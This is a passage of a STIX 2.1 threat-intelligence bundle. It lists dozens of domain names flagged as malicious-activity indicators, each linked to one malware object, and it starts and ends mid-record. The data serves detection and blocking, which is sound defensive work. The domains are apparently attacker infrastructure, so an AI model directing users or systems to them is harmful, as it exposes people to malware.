"2024-01-26T21:28:21.130751Z", "modified": "2024-01-26T21:28:21.130751Z", "relationship_type": "indicates", "source_ref": "indicator--f84b0778-c21d-4428-ae77-fba3d0b0410b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7f7d7c53-a8a6-44d2-8797-44ec24658931", "created": "2024-01-26T21:28:21.13085Z", "modified": "2024-01-26T21:28:21.13085Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='inbox-messages.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.13085Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c0e4f100-88d5-4d26-8ff3-8f9398f88528", "created": "2024-01-26T21:28:21.131533Z", "modified": "2024-01-26T21:28:21.131533Z", "relationship_type": "indicates", "source_ref": "indicator--7f7d7c53-a8a6-44d2-8797-44ec24658931", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--43abbd4e-6e12-46c3-bbbb-af7ac007d89f", "created": "2024-01-26T21:28:21.131635Z", "modified": "2024-01-26T21:28:21.131635Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='wasted-nights.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.131635Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e4edb3a2-ff22-4f30-a3e0-6265433eb631", "created": "2024-01-26T21:28:21.132028Z", "modified": "2024-01-26T21:28:21.132028Z", "relationship_type": "indicates", "source_ref": "indicator--43abbd4e-6e12-46c3-bbbb-af7ac007d89f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dc6ae113-eb5a-48ac-9e17-147732dc1dfc", "created": "2024-01-26T21:28:21.132129Z", "modified": "2024-01-26T21:28:21.132129Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='advert-track.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.132129Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--00698921-8288-49be-8a6b-20a444895436", "created": "2024-01-26T21:28:21.132517Z", "modified": "2024-01-26T21:28:21.132517Z", "relationship_type": "indicates", "source_ref": "indicator--dc6ae113-eb5a-48ac-9e17-147732dc1dfc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6decd62a-7d3f-44ef-9e25-02b85305f5d2", "created": "2024-01-26T21:28:21.132614Z", "modified": "2024-01-26T21:28:21.132614Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='rosegoldjewerly.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.132614Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a12e0cc8-9f5e-449d-b0fb-123797d8dff5", "created": "2024-01-26T21:28:21.133001Z", "modified": "2024-01-26T21:28:21.133001Z", "relationship_type": "indicates", "source_ref": "indicator--6decd62a-7d3f-44ef-9e25-02b85305f5d2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0c040a74-8c95-4185-bb76-ea03c923058b", "created": "2024-01-26T21:28:21.133099Z", "modified": "2024-01-26T21:28:21.133099Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='urldefender.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.133099Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ff36ca80-f4f3-492d-9ada-27f04f5aa603", "created": "2024-01-26T21:28:21.13349Z", "modified": "2024-01-26T21:28:21.13349Z", "relationship_type": "indicates", "source_ref": "indicator--0c040a74-8c95-4185-bb76-ea03c923058b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dfb9f36f-610e-4593-a386-bcf7f1671ac0", "created": "2024-01-26T21:28:21.133585Z", "modified": "2024-01-26T21:28:21.133585Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fetchlink.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.133585Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--53a36e36-0819-4a35-9249-65aa74f7bdf7", "created": "2024-01-26T21:28:21.133971Z", "modified": "2024-01-26T21:28:21.133971Z", "relationship_type": "indicates", "source_ref": "indicator--dfb9f36f-610e-4593-a386-bcf7f1671ac0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ce13ef4a-88ae-463b-bc62-ca7eb5e30709", "created": "2024-01-26T21:28:21.134072Z", "modified": "2024-01-26T21:28:21.134072Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='checkinonlinehere.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.134072Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3dd75bea-c21a-43b2-b943-debadbfa08dc", "created": "2024-01-26T21:28:21.134474Z", "modified": "2024-01-26T21:28:21.134474Z", "relationship_type": "indicates", "source_ref": "indicator--ce13ef4a-88ae-463b-bc62-ca7eb5e30709", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f621e4a9-fbdf-4df0-93d4-e8d968ae3375", "created": "2024-01-26T21:28:21.13457Z", "modified": "2024-01-26T21:28:21.13457Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='web-url.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.13457Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--115d979a-0fe6-473f-8601-00a197715fc6", "created": "2024-01-26T21:28:21.134955Z", "modified": "2024-01-26T21:28:21.134955Z", "relationship_type": "indicates", "source_ref": "indicator--f621e4a9-fbdf-4df0-93d4-e8d968ae3375", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e4712d19-7d69-4a40-b4b5-6ca6ecdaccd0", "created": "2024-01-26T21:28:21.135058Z", "modified": "2024-01-26T21:28:21.135058Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='thesimplestairs.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.135058Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b6d5a452-a031-45dd-97ee-9178782a7460", "created": "2024-01-26T21:28:21.135461Z", "modified": "2024-01-26T21:28:21.135461Z", "relationship_type": "indicates", "source_ref": "indicator--e4712d19-7d69-4a40-b4b5-6ca6ecdaccd0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b199dbe7-3c58-4134-aff3-0cb01ce57953", "created": "2024-01-26T21:28:21.135561Z", "modified": "2024-01-26T21:28:21.135561Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='webprotector.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.135561Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--07a86fa5-9623-4c1b-82cc-31e4d9d3016d", "created": "2024-01-26T21:28:21.135952Z", "modified": "2024-01-26T21:28:21.135952Z", "relationship_type": "indicates", "source_ref": "indicator--b199dbe7-3c58-4134-aff3-0cb01ce57953", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5665e1e4-cd34-4946-bf3a-761e03f00115", "created": "2024-01-26T21:28:21.136051Z", "modified": "2024-01-26T21:28:21.136051Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='forward5costume.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.136051Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dd2bb11f-cc36-48b2-ad40-8e41629b58be", "created": "2024-01-26T21:28:21.136531Z", "modified": "2024-01-26T21:28:21.136531Z", "relationship_type": "indicates", "source_ref": "indicator--5665e1e4-cd34-4946-bf3a-761e03f00115", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--92e43058-f8eb-4126-be03-d26504a61308", "created": "2024-01-26T21:28:21.136631Z", "modified": "2024-01-26T21:28:21.136631Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='freeshoemoon.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.136631Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5351ff97-c7b9-4f2a-8729-55d671c13649", "created": "2024-01-26T21:28:21.137023Z", "modified": "2024-01-26T21:28:21.137023Z", "relationship_type": "indicates", "source_ref": "indicator--92e43058-f8eb-4126-be03-d26504a61308", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--174d6e3f-4908-4d9a-a869-2934407dcde6", "created": "2024-01-26T21:28:21.137125Z", "modified": "2024-01-26T21:28:21.137125Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='lizzardsnail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.137125Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--cf146c85-d835-4bab-9566-85204a02a6e9", "created": "2024-01-26T21:28:21.137514Z", "modified": "2024-01-26T21:28:21.137514Z", "relationship_type": "indicates", "source_ref": "indicator--174d6e3f-4908-4d9a-a869-2934407dcde6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f6fba42a-acff-4a1b-b359-b42430d12bc0", "created": "2024-01-26T21:28:21.137612Z", "modified": "2024-01-26T21:28:21.137612Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='eura-cell.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.137612Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--14ae2d8b-3f1f-4f97-91e6-b2e0b6601f23", "created": "2024-01-26T21:28:21.138001Z", "modified": "2024-01-26T21:28:21.138001Z", "relationship_type": "indicates", "source_ref": "indicator--f6fba42a-acff-4a1b-b359-b42430d12bc0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5691ccd7-86da-47cd-944b-55990dab21ec", "created": "2024-01-26T21:28:21.138097Z", "modified": "2024-01-26T21:28:21.138097Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='glittercases.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.138097Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d4e3db3b-48b8-4cba-9217-4577ef8e416d", "created": "2024-01-26T21:28:21.138487Z", "modified": "2024-01-26T21:28:21.138487Z", "relationship_type": "indicates", "source_ref": "indicator--5691ccd7-86da-47cd-944b-55990dab21ec", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4c5973f9-01ae-4363-944b-077325329403", "created": "2024-01-26T21:28:21.138585Z", "modified": "2024-01-26T21:28:21.138585Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='theastafrican.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.138585Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--26fba4d7-38bf-4925-b556-e835dd5a994a", "created": "2024-01-26T21:28:21.138977Z", "modified": "2024-01-26T21:28:21.138977Z", "relationship_type": "indicates", "source_ref": "indicator--4c5973f9-01ae-4363-944b-077325329403", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--167127a2-c583-47b0-a312-3e48c4760ba3", "created": "2024-01-26T21:28:21.139073Z", "modified": "2024-01-26T21:28:21.139073Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sunsetdnsnow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.139073Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e910e198-c152-4e51-8599-3e3629ef8ed5", "created": "2024-01-26T21:28:21.139464Z", "modified": "2024-01-26T21:28:21.139464Z", "relationship_type": "indicates", "source_ref": "indicator--167127a2-c583-47b0-a312-3e48c4760ba3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--77580b92-5eca-4c26-8731-a9ba6dcaf4c0", "created": "2024-01-26T21:28:21.13956Z", "modified": "2024-01-26T21:28:21.13956Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redemptionphrase.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.13956Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e6342eb2-872c-4ff3-825a-cf4935366585", "created": "2024-01-26T21:28:21.139951Z", "modified": "2024-01-26T21:28:21.139951Z", "relationship_type": "indicates", "source_ref": "indicator--77580b92-5eca-4c26-8731-a9ba6dcaf4c0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--420c4646-320b-4e79-a427-3f672fe03f9e", "created": "2024-01-26T21:28:21.140048Z", "modified": "2024-01-26T21:28:21.140048Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='watersport4u.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.140048Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--cbdad3b6-77be-4be4-9dc7-986e393bc0c2", "created": "2024-01-26T21:28:21.140435Z", "modified": "2024-01-26T21:28:21.140435Z", "relationship_type": "indicates", "source_ref": "indicator--420c4646-320b-4e79-a427-3f672fe03f9e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d2e932e9-2d72-4799-b049-2f184cdde4f7", "created": "2024-01-26T21:28:21.140532Z", "modified": "2024-01-26T21:28:21.140532Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='websitereconnecting.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.140532Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--045647c2-3686-42e7-b686-f473b511daf5", "created": "2024-01-26T21:28:21.141015Z", "modified": "2024-01-26T21:28:21.141015Z", "relationship_type": "indicates", "source_ref": "indicator--d2e932e9-2d72-4799-b049-2f184cdde4f7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--417150f3-b796-44d2-a4fd-067cddc30855", "created": "2024-01-26T21:28:21.141123Z", "modified": "2024-01-26T21:28:21.141123Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='insertfilters.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.141123Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--01943b2e-1d43-48f6-9872-8de69bd88961", "created": "2024-01-26T21:28:21.141515Z", "modified": "2024-01-26T21:28:21.141515Z", "relationship_type": "indicates", "source_ref": "indicator--417150f3-b796-44d2-a4fd-067cddc30855", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2cc5c771-8932-453c-b9e8-5037597692bc", "created": "2024-01-26T21:28:21.141614Z", "modified": "2024-01-26T21:28:21.141614Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='takemallelectric.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.141614Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--659067ba-0ffa-4b1d-a71e-a3899d595d69", "created": "2024-01-26T21:28:21.142007Z", "modified": "2024-01-26T21:28:21.142007Z", "relationship_type": "indicates", "source_ref": "indicator--2cc5c771-8932-453c-b9e8-5037597692bc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c13dc679-8a2d-4245-9e95-5148c0187681", "created": "2024-01-26T21:28:21.142104Z", "modified": "2024-01-26T21:28:21.142104Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='accomodation-tastes.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.142104Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9d451ad5-4213-4d65-8282-95e8df33aa89", "created": "2024-01-26T21:28:21.142499Z", "modified": "2024-01-26T21:28:21.142499Z", "relationship_type": "indicates", "source_ref": "indicator--c13dc679-8a2d-4245-9e95-5148c0187681", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--711d3465-efc1-4810-9063-f8343f45b74b", "created": "2024-01-26T21:28:21.142596Z", "modified": "2024-01-26T21:28:21.142596Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='smser.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.142596Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--43fb2335-55bd-45bf-9118-9aaff113fc08", "created": "2024-01-26T21:28:21.142975Z", "modified": "2024-01-26T21:28:21.142975Z", "relationship_type": "indicates", "source_ref": "indicator--711d3465-efc1-4810-9063-f8343f45b74b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--98acef2c-5a1f-4fb0-b3b0-29e86c8cdce8", "created": "2024-01-26T21:28:21.143077Z", "modified": "2024-01-26T21:28:21.143077Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='lonely-place.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.143077Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4491dae7-44f7-496f-aeee-c7e1c2b2b018", "created": "2024-01-26T21:28:21.143467Z", "modified": "2024-01-26T21:28:21.143467Z", "relationship_type": "indicates", "source_ref": "indicator--98acef2c-5a1f-4fb0-b3b0-29e86c8cdce8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--575d2768-1807-4e39-931b-01d0b986cec7", "created": "2024-01-26T21:28:21.143563Z", "modified": "2024-01-26T21:28:21.143563Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hellomymommy.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.143563Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--53d545f0-ca92-4895-9fa1-68df96d47d1f", "created": "2024-01-26T21:28:21.143951Z", "modified": "2024-01-26T21:28:21.143951Z", "relationship_type": "indicates", "source_ref": "indicator--575d2768-1807-4e39-931b-01d0b986cec7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5a672d1a-676b-4e89-a317-b321ae9fbdc6", "created": "2024-01-26T21:28:21.144048Z", "modified": "2024-01-26T21:28:21.144048Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='alignmentdisabled.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.144048Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--537c1636-4ac4-4db8-b655-b21ea9b24074", "created": "2024-01-26T21:28:21.144445Z", "modified": "2024-01-26T21:28:21.144445Z", "relationship_type": "indicates", "source_ref": "indicator--5a672d1a-676b-4e89-a317-b321ae9fbdc6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--47b9179a-efd6-4349-b495-0ee588729e53", "created": "2024-01-26T21:28:21.144541Z", "modified": "2024-01-26T21:28:21.144541Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='appointments-online.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.144541Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--690f4702-c2d2-49e4-866b-e8c192fcac39", "created": "2024-01-26T21:28:21.144936Z", "modified": "2024-01-26T21:28:21.144936Z", "relationship_type": "indicates", "source_ref": "indicator--47b9179a-efd6-4349-b495-0ee588729e53", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a85ed8fb-a72a-452c-b647-7c52c3783bc3", "created": "2024-01-26T21:28:21.145039Z", "modified": "2024-01-26T21:28:21.145039Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='findmyfriendsnow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.145039Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d42a7b43-5118-470c-bee8-38b8222d9137", "created": "2024-01-26T21:28:21.145516Z", "modified": "2024-01-26T21:28:21.145516Z", "relationship_type": "indicates", "source_ref": "indicator--a85ed8fb-a72a-452c-b647-7c52c3783bc3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ebfac362-870f-4c11-b2cc-0917519bbaa4", "created": "2024-01-26T21:28:21.145614Z", "modified": "2024-01-26T21:28:21.145614Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mixsinger.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.145614Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4ff5ff56-70ad-4fcd-bf6e-c87a324196bb", "created": "2024-01-26T21:28:21.145996Z", "modified": "2024-01-26T21:28:21.145996Z", "relationship_type": "indicates", "source_ref": "indicator--ebfac362-870f-4c11-b2cc-0917519bbaa4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0baf2bb7-ee9c-4d17-874f-7bc34ba542ad", "created": "2024-01-26T21:28:21.146093Z", "modified": "2024-01-26T21:28:21.146093Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='myself-dns.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.146093Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3c9e6306-36c8-421a-a087-28b401dd0c85", "created": "2024-01-26T21:28:21.146481Z", "modified": "2024-01-26T21:28:21.146481Z", "relationship_type": "indicates", "source_ref": "indicator--0baf2bb7-ee9c-4d17-874f-7bc34ba542ad", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5ea8df92-540a-484c-856d-83556096022b", "created": "2024-01-26T21:28:21.146579Z", "modified": "2024-01-26T21:28:21.146579Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newcooking.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.146579Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2d64d28c-446c-48db-b782-44a176cb4a19", "created": "2024-01-26T21:28:21.146966Z", "modified": "2024-01-26T21:28:21.146966Z", "relationship_type": "indicates", "source_ref": "indicator--5ea8df92-540a-484c-856d-83556096022b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ad1ceb03-9d32-4be3-bc8c-641e3edc23a0", "created": "2024-01-26T21:28:21.147067Z", "modified": "2024-01-26T21:28:21.147067Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dearlegendseed.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.147067Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--72101b06-6a92-4a62-9cb7-82c42b062c2e", "created": "2024-01-26T21:28:21.14746Z", "modified": "2024-01-26T21:28:21.14746Z", "relationship_type": "indicates", "source_ref": "indicator--ad1ceb03-9d32-4be3-bc8c-641e3edc23a0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c1d298dc-9c0d-43fe-a482-39587448d2ea", "created": "2024-01-26T21:28:21.147558Z", "modified": "2024-01-26T21:28:21.147558Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='axis-indication.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.147558Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--45be68b9-76ab-4cde-83ca-32361117bdcd", "created": "2024-01-26T21:28:21.147949Z", "modified": "2024-01-26T21:28:21.147949Z", "relationship_type": "indicates", "source_ref": "indicator--c1d298dc-9c0d-43fe-a482-39587448d2ea", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7295cabd-da13-4847-a1a3-b773a5a7cb7b", "created": "2024-01-26T21:28:21.148046Z", "modified": "2024-01-26T21:28:21.148046Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='com-reports.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.148046Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--79c28f9d-61b4-4a1b-8ddb-26a18a52d0c7", "created": "2024-01-26T21:28:21.148434Z", "modified": "2024-01-26T21:28:21.148434Z", "relationship_type": "indicates", "source_ref": "indicator--7295cabd-da13-4847-a1a3-b773a5a7cb7b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cfe024c5-6c58-403c-be29-200d9642f705", "created": "2024-01-26T21:28:21.148532Z", "modified": "2024-01-26T21:28:21.148532Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='loadthatpage.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.148532Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--43d763c2-bdd1-4f24-87a9-4ad8f0cc94a8", "created": "2024-01-26T21:28:21.148923Z", "modified": "2024-01-26T21:28:21.148923Z", "relationship_type": "indicates", "source_ref": "indicator--cfe024c5-6c58-403c-be29-200d9642f705", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0e781d00-d035-4d49-b189-9863e18c8d8f", "created": "2024-01-26T21:28:21.149027Z", "modified": "2024-01-26T21:28:21.149027Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='topbraingames4u.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.149027Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d3352852-d0c4-4813-9815-f0ba6b9863ee", "created": "2024-01-26T21:28:21.149428Z", "modified": "2024-01-26T21:28:21.149428Z", "relationship_type": "indicates", "source_ref": "indicator--0e781d00-d035-4d49-b189-9863e18c8d8f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3f0de1b1-28b4-43ce-aa88-3fd500727109", "created": "2024-01-26T21:28:21.149529Z", "modified": "2024-01-26T21:28:21.149529Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='donefordeal.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.149529Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7786b879-65a5-4de3-9d61-2c2d8d0d1fbe", "created": "2024-01-26T21:28:21.150Z", "modified": "2024-01-26T21:28:21.150Z", "relationship_type": "indicates", "source_ref": "indicator--3f0de1b1-28b4-43ce-aa88-3fd500727109", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--507b09d9-17aa-496e-9174-2aa27ad56510", "created": "2024-01-26T21:28:21.150102Z", "modified": "2024-01-26T21:28:21.150102Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='keynotepalm.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.150102Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--568a75d1-3d9d-45f7-986e-1c7036509741", "created": "2024-01-26T21:28:21.150494Z", "modified": "2024-01-26T21:28:21.150494Z", "relationship_type": "indicates", "source_ref": "indicator--507b09d9-17aa-496e-9174-2aa27ad56510", "target_ref": 